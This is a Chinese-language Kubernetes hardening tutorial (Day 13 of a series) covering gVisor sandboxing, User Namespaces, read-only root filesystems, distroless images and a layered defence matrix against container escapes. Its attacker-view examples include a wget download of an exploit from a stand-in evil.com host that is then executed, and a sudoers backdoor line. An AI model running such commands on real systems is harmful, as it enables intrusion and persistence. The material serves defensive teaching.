
當 seccomp 和 AppArmor 不夠時——用核心隔離和最小化映像把攻擊面降到最低。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
本篇建立在 Day 12(PSS + seccomp + AppArmor)的基礎上。建議先完成 Day 12 再繼續。
# 主機終端
kubectl get runtimeclasses
如果沒有任何 RuntimeClass,待會我們會建立一個。gVisor 需要額外安裝——本篇會引導你完成。
完成本日實作後,你將能夠:
Day 12 覆蓋了 Admission Control(PSS/Kyverno)、syscall 過濾(seccomp)、和 LSM(AppArmor)三層防禦。今天加入最後兩層:

Day 8–11 示範了七種逃逸手法。仔細觀察,每一種都依賴容器和宿主機共用 Linux 核心這個前提:
| 逃逸 | 利用的核心機制 | seccomp 能擋嗎 |
|---|---|---|
| S13 mount device | mount syscall |
能(block mount) |
| S14 cgroup escape | cgroup 虛擬檔案系統 | 部分(需自訂 profile) |
| S15 Docker.sock | Unix socket(connect) |
不能(connect 是合法 syscall) |
| S16 core_pattern | /proc/sys/kernel 寫入 |
能(block write to /proc) |
| S17 ptrace | ptrace syscall |
能(block ptrace) |
| S18 lxcfs mknod | mknod syscall |
能(block mknod) |
| S19 Dirty Pipe | pipe + splice |
不能(都是正常 syscall) |
S19 Dirty Pipe 是關鍵——它使用的 pipe()、splice()、write() 都是完全正常的 syscall,任何 seccomp profile 都不可能阻擋它們而不破壞正常應用。唯一的解法:讓容器的 syscall 不再直接到達宿主機核心。
Day 11 的 Dirty Pipe(CVE-2022-0847)暴露了容器安全的根本問題:容器和宿主機共用核心。不管 seccomp 或 AppArmor 如何限制,只要核心本身有漏洞,容器內的 exploit 就能直接攻擊宿主機。
gVisor 的解決方案:在容器和宿主機核心之間插入一個使用者態核心(user-space kernel),攔截所有系統呼叫。

| 元件 | 功能 | 安全效果 |
|---|---|---|
| Sentry | 使用者態核心,實作了 Linux syscall 的子集 | 攔截並處理容器的 syscall |
| Gofer | 檔案系統存取代理 | 所有檔案操作都透過 Gofer |
| Runsc | OCI runtime,取代 runc 啟動容器 | 整合 Sentry + Gofer |
Sentry 是 gVisor 最核心的元件。它用 Go 語言重新實作了 Linux syscall 介面,理解它的運作方式有助於判斷 gVisor 能防禦什麼、不能防禦什麼。

Sentry 對各種 syscall 的處理方式:
| syscall 類別 | 處理方式 | 範例 |
|---|---|---|
| 記憶體管理 | Sentry 內部完全處理 | brk, mmap(匿名) |
| 檔案 I/O | 透過 Gofer 代理 | open, read, write |
| 網路 | Sentry 內建 netstack(或 passthrough) | socket, connect, bind |
| 行程管理 | Sentry 管理虛擬 PID namespace | fork, execve, wait4 |
| 裝置操作 | 不支援(回傳 EPERM) | mount, mknod |
| 核心介面 | 虛擬化(不觸碰真實核心) | /proc, /sys |
Sentry 是 gVisor 的核心。它用 Go 語言實作了 Linux 系統呼叫的子集,容器的 syscall 不會直接到達宿主機核心:

Gofer 是 gVisor 的另一個關鍵元件,負責所有檔案系統操作:

Gofer 使用 9P 協議與 Sentry 通訊,所有檔案操作都透過這個代理。Gofer Process有自己的 mount namespace,只能存取被明確允許的路徑。
安全效果:
# 安裝 runsc
$ curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
$ echo "deb [signed-by=/usr/share/keyrings/gvisor-archive-keyring.gpg] https://storage.googleapis.com/gvisor/releases release main" | \
sudo tee /etc/apt/sources.list.d/gvisor.list > /dev/null
$ sudo apt-get update && sudo apt-get install -y runsc
# 配置 containerd 使用 runsc
$ cat >> /etc/containerd/config.toml << 'EOF'
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
runtime_type = "io.containerd.runsc.v1"
EOF
$ sudo systemctl restart containerd
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc
overhead:
podFixed:
cpu: "50m" # Sentry 的 CPU 開銷
memory: "100Mi" # Sentry + Gofer 的記憶體開銷
scheduling:
nodeSelector:
gvisor: "true" # 只在安裝了 gVisor 的節點上排程
tolerations:
- key: "runtime"
operator: "Equal"
value: "gvisor"
effect: "NoSchedule"
overhead 欄位的重要性: 當你設定了 overhead,Kubernetes scheduler 在計算節點資源時會自動加上這些開銷。這確保了 gVisor Pod 不會因為 Sentry/Gofer 的額外資源需求而導致節點 OOM。
apiVersion: v1
kind: Pod
metadata:
name: secure-app
spec:
runtimeClassName: gvisor # ← 使用 gVisor 沙箱
containers:
- name: app
image: myapp:latest
securityContext:
runAsNonRoot: true
runAsUser: 1000
# Minikube 內建 gVisor addon
$ minikube start --container-runtime=containerd
$ minikube addons enable gvisor
# 等待 gVisor 準備完成
$ kubectl get runtimeclass
NAME HANDLER AGE
gvisor runsc 30s
# 驗證
$ kubectl run test --image=busybox --runtime-class=gvisor -- sleep 60
$ kubectl exec test -- dmesg | head -3
[ 0.000000] Starting gVisor...
[ 0.000000] Digging up potential caused by the Internet...
[ 0.000000] Accelerating taco delivery...
# gVisor 的 dmesg 會顯示幽默的啟動訊息,確認沙箱在運行
踩坑提醒:Minikube 的 gVisor addon 需要
--container-runtime=containerd,不支援 Docker driver。如果你的 Minikube 使用 Docker driver,需要切換到 containerd。
| 逃逸 | gVisor 防禦方式 | 效果 |
|---|---|---|
| S13 Privileged mount | Sentry 不允許 mount 真實設備 | 完全阻擋 |
| S14 Cgroup | Sentry 管理虛擬 cgroup | 完全阻擋 |
| S15 Docker.sock | Gofer 限制檔案存取 | 完全阻擋 |
| S16 core_pattern | Sentry 不允許寫 /proc/sys | 完全阻擋 |
| S17 ptrace | Sentry 的 ptrace 不影響宿主機 | 完全阻擋 |
| S18 lxcfs | Sentry 不允許 mknod 真實裝置 | 完全阻擋 |
| S19 Dirty Pipe | 核心漏洞無法透過 Sentry 觸發 | 完全阻擋 |
| 限制 | 說明 | 影響的應用 |
|---|---|---|
| 性能開銷 | syscall 攔截有 5–15% overhead | 高 I/O 應用 |
| syscall 覆蓋 | 約覆蓋 70% Linux syscall | 使用罕見 syscall 的應用 |
| GPU | 不支援 GPU 直通 | ML/AI 工作負載 |
| 特殊 filesystem | 某些 fs 不支援(如 NFS) | 使用網路 fs 的應用 |
| /proc 差異 | 虛擬 /proc 與真實 /proc 有差異 | 讀取 /proc 的監控工具 |
| 網路性能 | 自帶的 netstack 較慢 | 高吞吐量網路應用 |
常見問題及解決方式:
# 問題 1:Pod 啟動失敗 — "OCI runtime create failed"
# 原因:containerd 配置不正確或 runsc 未安裝
$ runsc --version
# 確認 runsc 已安裝
$ containerd config dump | grep runsc
# 確認 containerd 配置了 runsc runtime
# 問題 2:應用報錯 "function not implemented"
# 原因:應用使用了 gVisor 未實作的 syscall
$ kubectl logs pod-name
# 查看具體是哪個 syscall
$ runsc debug --strace /path/to/runsc-sandbox
# 開啟 syscall trace 觀察
# 問題 3:網路性能下降嚴重
# 解法:使用 host network stack(犧牲部分隔離)
# 在 runsc 配置中加入:
# [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
# runtime_type = "io.containerd.runsc.v1"
# [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc.options]
# TypeUrl = "io.containerd.runsc.v1.options"
# ConfigPath = "/etc/gvisor/runsc.toml"
# runsc.toml:
# network = "host"
| 項目 | gVisor | Kata Containers |
|---|---|---|
| 隔離方式 | 使用者態核心 | 輕量級 VM(microVM) |
| 性能開銷 | 低(5–15%) | 中(10–20%) |
| 記憶體開銷 | 低 | 較高(每容器一個 VM) |
| 啟動時間 | 快(< 1s) | 稍慢(~2s) |
| syscall 相容性 | 中(70%) | 高(完整 Linux 核心) |
| 安全強度 | 高 | 極高(VM 隔離) |
| 適用場景 | 多數 Web 服務 | 高安全 + 多租戶 |
| 底層技術 | Go 實作的 syscall handler | QEMU/Firecracker |

User Namespaces 是 K8s 1.30 引入的 beta 功能,提供比 gVisor/Kata 更輕量的容器隔離強化。核心概念:容器內的 root(UID 0)會被映射到宿主機上的非特權 UID(例如 65534),讓容器內的「root」在宿主機層級沒有任何特權。
apiVersion: v1
kind: Pod
metadata:
name: userns-pod
spec:
hostUsers: false # 啟用 User Namespaces
containers:
- name: app
image: nginx:1.27-alpine
securityContext:
runAsUser: 0 # 容器內仍是 root,但映射到宿主機的非特權 UID
需要在 kubelet 啟用 feature gate:
--feature-gates=UserNamespacesSupport=true
| 逃逸手法 | 無 User Namespaces | 有 User Namespaces |
|---|---|---|
| S13 mount 逃逸 | 成功(root 可 mount) | 失敗(宿主機上無權限 mount) |
| S14 cgroup 寫入 | 成功(root 可寫 cgroup) | 失敗(非特權 UID 無法寫 cgroup) |
| S17 ptrace 注入 | 成功(root 可 ptrace) | 失敗(跨 user namespace 無法 ptrace) |
最佳實踐是組合使用:User Namespaces + seccomp(阻擋危險 syscall)可以在不犧牲效能的情況下大幅縮小攻擊面。對於高敏感工作負載再加上 gVisor 或 Kata。
User Namespaces 預計在 K8s 1.32 正式 GA。建議現在就開始在非生產環境測試,確認應用程式在非 root UID 下正常運作。
容器應該是不可變的——運行時不應該修改容器的檔案系統。所有逃逸攻擊都需要在容器內寫入檔案(exploit binary、shell script、下載的工具),如果檔案系統是唯讀的,攻擊面大幅縮減。
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
image: myapp:latest
securityContext:
readOnlyRootFilesystem: true # ← 唯讀根目錄
volumeMounts:
- name: tmp
mountPath: /tmp # ← 只有 /tmp 可寫
- name: cache
mountPath: /var/cache # ← 只有需要的目錄可寫
- name: run
mountPath: /var/run # ← PID file 等
volumes:
- name: tmp
emptyDir:
sizeLimit: "64Mi" # ← 限制大小
- name: cache
emptyDir:
sizeLimit: "128Mi"
- name: run
emptyDir:
sizeLimit: "8Mi"
# readOnlyRootFilesystem = true 時
# 下載工具 → 失敗
$ wget http://evil.com/exploit -O /exploit
bash: /exploit: Read-only file system
# 安裝套件 → 失敗
$ apt-get install nmap
E: Unable to open lock file - Read-only file system
# 寫入後門 → 失敗
$ echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
bash: /etc/sudoers: Read-only file system
# 修改 DNS → 失敗
$ echo "nameserver 10.0.0.1" > /etc/resolv.conf
bash: /etc/resolv.conf: Read-only file system
# 但如果 /tmp 是 emptyDir,攻擊者仍然可以:
$ wget http://evil.com/exploit -O /tmp/exploit
$ chmod +x /tmp/exploit
$ /tmp/exploit
# 所以 emptyDir 也要加 noexec mount option(如果可能)
emptyDir 是 readOnlyRootFilesystem 的例外區域,攻擊者可以在此寫入並執行工具。K8s 目前不原生支援 emptyDir 的 noexec mount option,但有幾個替代方案:
# 方案 1:使用 memory 類型的 emptyDir(限制大小)
volumes:
- name: tmp
emptyDir:
medium: Memory # 使用 tmpfs(RAM)
sizeLimit: "16Mi" # 嚴格限制大小——攻擊者無法下載大型工具
# 方案 2:用 seccomp 限制 execve(搭配 readOnly 使用)
# 自訂 seccomp profile 禁止在特定路徑執行
# 但這需要較複雜的 seccomp 配置
# 方案 3:gVisor 的 overlay 配置
# gVisor 可以配置 overlay filesystem,限制可寫層的行為
踩坑提醒:很多應用需要寫入臨時檔案。啟用
readOnlyRootFilesystem前,先確認應用的寫入需求,用 emptyDir 提供必要的可寫目錄。常見需要可寫的路徑:/tmp、/var/cache、/var/run(PID file)、/var/log。
Google 的 distroless 映像只包含應用和它的 runtime 依賴——沒有 shell、沒有 package manager、沒有 OS 工具。
# 多階段建構
FROM golang:1.22 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .
# distroless 最終映像
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app/server /server
USER nonroot:nonroot
ENTRYPOINT ["/server"]
攻擊者視角:
# 進入 distroless 容器——沒有 shell
$ kubectl exec -it secure-app -- sh
OCI runtime exec failed: exec failed: unable to start container process:
exec: "sh": executable file not found in $PATH
# 即使能進入,也沒有任何工具可用
# 沒有 curl、wget、nmap、kubectl、python、gcc...
# 攻擊者無法下載或執行任何工具
| 映像 | 大小 | 包含 shell | 包含工具 | CVE 數量(估計) | 攻擊面 | 除錯難度 |
|---|---|---|---|---|---|---|
| ubuntu:22.04 | ~77 MB | bash, sh, dash | apt, curl, wget... | 50+ | 高 | 容易 |
| alpine:3.19 | ~7 MB | ash, sh | apk, wget, busybox | 10+ | 中 | 容易 |
| gcr.io/distroless/base | ~20 MB | 無 | 無 | 極少 | 低 | 困難 |
| gcr.io/distroless/static | ~2 MB | 無 | 無 | 極少 | 極低 | 困難 |
| scratch | 0 MB | 無 | 無 | 0 | 最低 | 極困難 |
除錯 distroless 容器的方法:
# 方法 1:使用 ephemeral container(K8s 1.25+)
$ kubectl debug -it secure-app \
--image=busybox \
--target=app \
--share-processes
# 這會在同一個 Pod 中啟動一個 debug 容器
# 可以看到目標容器的 process,但不影響其映像
# 方法 2:使用 cdebug 工具
$ cdebug exec -it pod/secure-app
# 自動注入 debug 工具到目標容器
# 方法 3:複製 Pod 並替換映像
$ kubectl debug secure-app \
--copy-to=debug-pod \
--set-image=app=alpine:3.19 \
-- sh
| 語言 | 映像 | 說明 |
|---|---|---|
| Go | gcr.io/distroless/static |
靜態編譯,不需要 libc |
| Java | gcr.io/distroless/java21 |
包含 JRE |
| Python | gcr.io/distroless/python3 |
包含 Python 3 runtime |
| Node.js | gcr.io/distroless/nodejs20 |
包含 Node.js runtime |
| .NET | mcr.microsoft.com/dotnet/runtime-deps |
不完全 distroless 但精簡 |
| Rust | gcr.io/distroless/cc 或 static |
視是否需要 libc |
比 distroless 更極端的選擇——scratch 是完全空的映像:
FROM golang:1.22 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o server .
FROM scratch
COPY --from=builder /app/server /server
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
USER 65534:65534
ENTRYPOINT ["/server"]
踩坑提醒:
scratch映像完全沒有任何東西——連/etc/passwd都沒有。如果應用需要讀取使用者資訊、DNS 解析(/etc/resolv.conf)、或 TLS 證書,需要手動 COPY 進去。distroless通常是更實用的選擇。
結合 Day 12 和 Day 13 的所有防禦措施,打造一個「鐵壁」Pod:
apiVersion: v1
kind: Pod
metadata:
name: hardened-app
namespace: production
labels:
app: web
security-level: maximum
spec:
runtimeClassName: gvisor # 1. gVisor 沙箱
automountServiceAccountToken: false # 2. 關閉 SA Token
serviceAccountName: minimal-sa # 3. 最小權限 SA
hostPID: false # 4a. 禁止共用 Host PID
hostIPC: false # 4b. 禁止共用 Host IPC
hostNetwork: false # 4c. 禁止共用 Host 網路
securityContext:
runAsNonRoot: true # 5. 非 root
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault # 6. seccomp
supplementalGroups: [] # 不加入額外群組
containers:
- name: app
image: gcr.io/distroless/static@sha256:abc123... # 7. distroless + digest
securityContext:
readOnlyRootFilesystem: true # 8. 唯讀根目錄
allowPrivilegeEscalation: false # 9. 禁止提權
privileged: false # 10. 明確禁止特權模式
capabilities:
drop: ["ALL"] # 11. Drop ALL capabilities
appArmorProfile:
type: RuntimeDefault # 12. AppArmor
procMount: Default # 13. 標準 /proc mask
resources:
limits:
cpu: "500m"
memory: "256Mi" # 14. 資源限制
requests:
cpu: "100m"
memory: "64Mi"
ports:
- containerPort: 8080
protocol: TCP
livenessProbe: # 15. 健康檢查
httpGet:
path: /healthz
port: 8080
initialDelaySeconds: 5
periodSeconds: 10
readinessProbe:
httpGet:
path: /readyz
port: 8080
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir:
medium: Memory # 16. tmpfs(RAM-backed)
sizeLimit: "64Mi" # 17. 限制大小
| # | 配置 | 阻擋的攻擊 | 防禦層級 |
|---|---|---|---|
| 1 | gVisor | 所有核心漏洞(S19 Dirty Pipe 等) | Runtime 隔離 |
| 2 | automountServiceAccountToken: false | S05 kubectl 攻擊 | 認證層 |
| 3 | minimal-sa | S07 RBAC 提權 | 授權層 |
| 4 | hostPID/IPC/Network: false | S17 ptrace + Host 網路存取 | Namespace 隔離 |
| 5 | runAsNonRoot | 限制容器內權限 | OS 層 |
| 6 | seccomp RuntimeDefault | S13 mount, S17 ptrace, S18 mknod | syscall 過濾 |
| 7 | distroless + digest | 沒有 shell/工具 + 固定版本 | 映像層 |
| 8 | readOnlyRootFilesystem | 無法寫入 exploit/工具 | 檔案系統 |
| 9 | allowPrivilegeEscalation: false | SUID/SGID 提權 | 核心安全 |
| 10 | privileged: false | 完全阻擋特權模式 | 核心安全 |
| 11 | drop ALL capabilities | S17 SYS_PTRACE, S18 SYS_ADMIN | Capability |
| 12 | AppArmor | 額外的檔案存取限制 | LSM |
| 13 | procMount: Default | 隱藏敏感 /proc 路徑 | /proc 安全 |
| 14 | resource limits | S32 Resource Bomb | 資源控制 |
| 15 | health probe | 確保應用存活(非安全,但運維必要) | 可用性 |
| 16 | Memory-backed emptyDir | 限制可寫空間 + Pod 刪除即清除 | 檔案系統 |
| 17 | emptyDir sizeLimit | 限制攻擊者可用的磁碟空間 | 資源控制 |
將 Day 8–13 的七種逃逸攻擊與五層防禦進行交叉分析。每一層獨立阻擋的能力如下:
PSS seccomp AppArmor gVisor Immutable
S13 mount ✓ ✓ ✗ ✓ ✗
S14 cgroup ✓ △ ✗ ✓ ✗
S15 docker.sock ✗ ✗ ✓ ✓ ✗
S16 core_pat ✓ ✓ ✓ ✓ ✗
S17 ptrace ✓ ✓ ✓ ✓ ✗
S18 lxcfs ✓ ✓ ✓ ✓ ✗
S19 Dirty Pipe ✗ ✗ ✗ ✓ ✗
✓ = 能獨立阻擋 △ = 需要自訂 profile ✗ = 無法阻擋
單層覆蓋率:
PSS: 5/7 = 71%
seccomp: 4/7 = 57%(預設 profile)
AppArmor: 3/7 = 43%
gVisor: 7/7 = 100% ← 唯一的 100% 覆蓋
Immutable: 0/7 = 0%(不直接阻擋逃逸,但大幅增加攻擊難度)
防禦組合 覆蓋率 部署難度 性能影響
PSS 單獨 71% 低 無
PSS + seccomp 86% 低 極低(< 1%)
PSS + seccomp + AppArmor 86% 中 低(1-3%)
PSS + seccomp + AppArmor + Imm 86%* 中 低(1-3%)
以上 + gVisor 100% 高 中(5-15%)
* Immutable 不直接阻擋逃逸,但讓攻擊者在逃逸後無法下載工具
或寫入 payload,大幅降低逃逸的實際危害。
防禦層級 覆蓋率增量 部署成本 推薦優先級
PSS Restricted +71% 極低 ★★★★★ 第一步
seccomp Default +15% 低 ★★★★★ 同時做
AppArmor Default +0% 中 ★★★☆☆ 第二步
distroless/readOnly +0%* 中 ★★★★☆ 第三步
gVisor +14% 高 ★★★★☆ 第四步
推薦策略:PSS + seccomp 兩步到位覆蓋 86%,性能零影響。
剩下的 14%(Dirty Pipe 類核心漏洞)需要 gVisor,但性能開銷較高。
distroless + readOnly 雖然覆蓋率增量為 0,但讓逃逸後的攻擊無法展開,
實際安全價值遠高於數字顯示的。
理論講完了,現在動手驗證——用 Day 8–11 的逃逸手法實際測試 gVisor 和容器不變性的防禦效果。
# 主機終端 — 確認 gVisor RuntimeClass 存在
kubectl get runtimeclass gvisor
# 建立使用 gVisor 的測試 Pod
cat <<'EOF' | kubectl apply -n koad -f -
apiVersion: v1
kind: Pod
metadata:
name: gvisor-escape-test
spec:
runtimeClassName: gvisor
containers:
- name: test
image: ubuntu:22.04
command: ["sleep", "infinity"]
EOF
kubectl wait --for=condition=Ready pod/gvisor-escape-test -n koad --timeout=60s
# 主機終端 — 確認處於 gVisor 沙箱中
kubectl exec -n koad gvisor-escape-test -- dmesg 2>&1 | head -3
預期結果:
[ 0.000000] Starting gVisor...
[ 0.000000] Daydreaming about Plaid...
[ 0.000000] Letting the watchdogs out...
# 嘗試實際掛載操作(S13 的核心操作)
kubectl exec -n koad gvisor-escape-test -- mount -t tmpfs tmpfs /mnt 2>&1 || true
預期結果:
mount: /mnt: permission denied.
gVisor 的 Sentry 攔截了 mount syscall——即使是 tmpfs 這種不涉及真實設備的掛載也被拒絕。S13 逃逸所需的
mount /dev/sda1在 Sentry 層就被終結,宿主機核心完全不知道這個操作發生過。
# 嘗試讀取 /proc/1/cmdline(S17 逃逸的偵察步驟)
kubectl exec -n koad gvisor-escape-test -- cat /proc/1/cmdline 2>&1
預期結果:
sleepinfinity
在 gVisor 中 /proc 是虛擬的——PID 1 是容器自己的 sleep process,看不到宿主機的 systemd。與 Day 11 在 hostPID Pod 中看到宿主機 process 形成對比。
# 主機終端 — 建立唯讀根目錄的 Pod
cat <<'EOF' | kubectl apply -n koad -f -
apiVersion: v1
kind: Pod
metadata:
name: readonly-test
spec:
containers:
- name: test
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
readOnlyRootFilesystem: true
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir:
sizeLimit: "16Mi"
EOF
kubectl wait --for=condition=Ready pod/readonly-test -n koad --timeout=30s
# 嘗試下載攻擊工具到根目錄(攻擊者常見操作)
kubectl exec -n koad readonly-test -- sh -c 'echo "exploit" > /exploit' 2>&1 || true
預期結果:
sh: 1: cannot create /exploit: Read-only file system
# 嘗試安裝套件
kubectl exec -n koad readonly-test -- sh -c 'apt-get update' 2>&1 | head -3 || true
預期結果:
Reading package lists...
E: List directory /var/lib/apt/lists/partial is missing. - Acquire (30: Read-only file system)
# 但 /tmp 仍然可寫(emptyDir 例外區域)
kubectl exec -n koad readonly-test -- sh -c 'echo "test" > /tmp/test && cat /tmp/test'
預期結果:
test
readOnlyRootFilesystem 阻止攻擊者在容器內安裝工具或寫入後門。唯一可寫的 /tmp 被限制為 16Mi,無法下載大型攻擊工具。
# 主機終端 — 嘗試 exec 進入 distroless 容器
cat <<'EOF' | kubectl apply -n koad -f -
apiVersion: v1
kind: Pod
metadata:
name: distroless-test
spec:
containers:
- name: app
image: gcr.io/distroless/static-debian12:nonroot
command: ["/bin/sleep"]
args: ["infinity"]
EOF
# 注意:distroless 沒有 sleep,Pod 會 CrashLoopBackOff
# 這正好展示了 distroless 的效果——沒有任何工具可用
kubectl get pod distroless-test -n koad
預期結果:
NAME READY STATUS RESTARTS AGE
distroless-test 0/1 CrashLoopBackOff 1 10s
distroless 映像沒有 shell、沒有 sleep、沒有任何常見工具。攻擊者即使突破了其他防禦,在 distroless 容器中也無法執行任何操作。
# 主機終端 — 清理驗證用 Pod
kubectl delete pod gvisor-escape-test readonly-test distroless-test -n koad 2>/dev/null
驗證結論:gVisor 在核心層隔離容器,mount/ptrace 等危險操作被 Sentry 攔截而非到達宿主機核心。readOnlyRootFilesystem 阻止攻擊者寫入工具和後門。distroless 映像移除了攻擊者可用的所有工具。三層結合,即使攻擊者發現了 0-day 核心漏洞(如 Dirty Pipe),也無法在容器中準備和執行 exploit。
| 層級 | 措施 | 防禦目標 | 啟用難度 |
|---|---|---|---|
| Admission | PSS Restricted + Kyverno | 阻擋危險配置進入叢集 | 低 |
| syscall | seccomp profile | 限制可用的系統呼叫 | 低 |
| LSM | AppArmor profile | 限制檔案和 capability 存取 | 中 |
| Runtime | gVisor 沙箱 | 核心隔離,阻擋核心漏洞 | 中 |
| Image | distroless + readOnly | 最小化攻擊面,移除攻擊者工具 | 低 |
核心觀念:不要只在一個層級防禦。 PSS 擋不住核心漏洞,gVisor 有性能開銷不適合所有場景,distroless 有些應用不支援。縱深防禦的意義在於每一層都能獨立工作,每多一層就多一道保障。

| 考點 | 本日內容 | 權重 |
|---|---|---|
| gVisor RuntimeClass | 建立和套用 | Minimize Microservice 20% |
| readOnlyRootFilesystem | 容器不變性配置 | Minimize Microservice 20% |
| distroless 映像 | 多階段建構 + 最小映像 | Supply Chain 20% |
| 資源限制 | resources.limits | Minimize Microservice 20% |
題目:建立一個 RuntimeClass gvisor,handler 為 runsc。然後修改 Pod secure-app 使其使用此 RuntimeClass,並確保容器使用 readOnlyRootFilesystem。
# RuntimeClass
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc
# Pod
apiVersion: v1
kind: Pod
metadata:
name: secure-app
spec:
runtimeClassName: gvisor
containers:
- name: app
image: gcr.io/distroless/static:nonroot
securityContext:
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 65534
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
volumeMounts:
- name: tmp
mountPath: /tmp
volumes:
- name: tmp
emptyDir: {}
# 主機終端 — 移除測試用的 RuntimeClass
kubectl delete runtimeclass gvisor 2>/dev/null
# 移除測試 Pod
kubectl delete pod secure-app -n koad 2>/dev/null
gVisor 的安裝不需要清理——它不影響其他容器的運行。
readOnlyRootFilesystem: true 並驗證阻止容器內寫入Day 12–13 完成了容器逃逸的完整防禦體系,五個防禦層級從准入控制到映像最小化,每一層都能獨立阻擋不同類型的攻擊。
明天 Day 14 進入 TA0005 Defense Evasion——攻擊者如何偽裝 Pod、清除痕跡、在宿主機上建構惡意映像。